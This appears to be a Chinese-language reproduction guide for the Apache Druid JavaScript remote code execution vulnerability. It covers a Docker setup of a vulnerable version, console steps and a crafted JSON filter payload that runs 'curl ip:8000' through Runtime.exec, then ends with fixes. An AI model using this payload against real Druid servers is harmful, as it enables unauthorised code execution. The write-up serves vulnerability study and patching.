Druid不仅是一个数据库连接池，还包含一个ProxyDriver、一系列内置的JDBC组件库、一个SQL Parser。
支持所有JDBC兼容的数据库，包括Oracle、MySql、Derby、Postgresql、SQL Server、H2等。
Apache Druid 包括执行用户提供的 JavaScript 的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中，默认已被禁用。但是，在 Druid 0.20.0 及更低版本中，经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求，利用 Apache Druid 漏洞可以执行任意代码。
Apache Druid < 0.20.1
Apache Druid:0.16.0
参考现有的低版本druiddocker pull fokkodriesprong/docker-druiddocker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid
访问8888端口,进入Druid console
点击Load data -> Local disk
填入
Base directory:
quickstart/tutorial/
File filter:
wikiticker-2015-09-12-sampled.json.gz
一直点击next到filter项（设置步骤可参考：https://druid.apache.org/docs/latest/tutorials/index.html）
抓包修改filter为
{"type":"javascript","function":"function(value){return java.lang.Runtime.getRuntime().exec('curl ip:8000')}","dimension":"added","":{"enabled":"true"}}
对应post包为（执行的命令：curl ip:8000）

升级Apache Druid 到最新的版本
对Apache Druid进行权限控制，只允许受信任的主机访问集群服务器
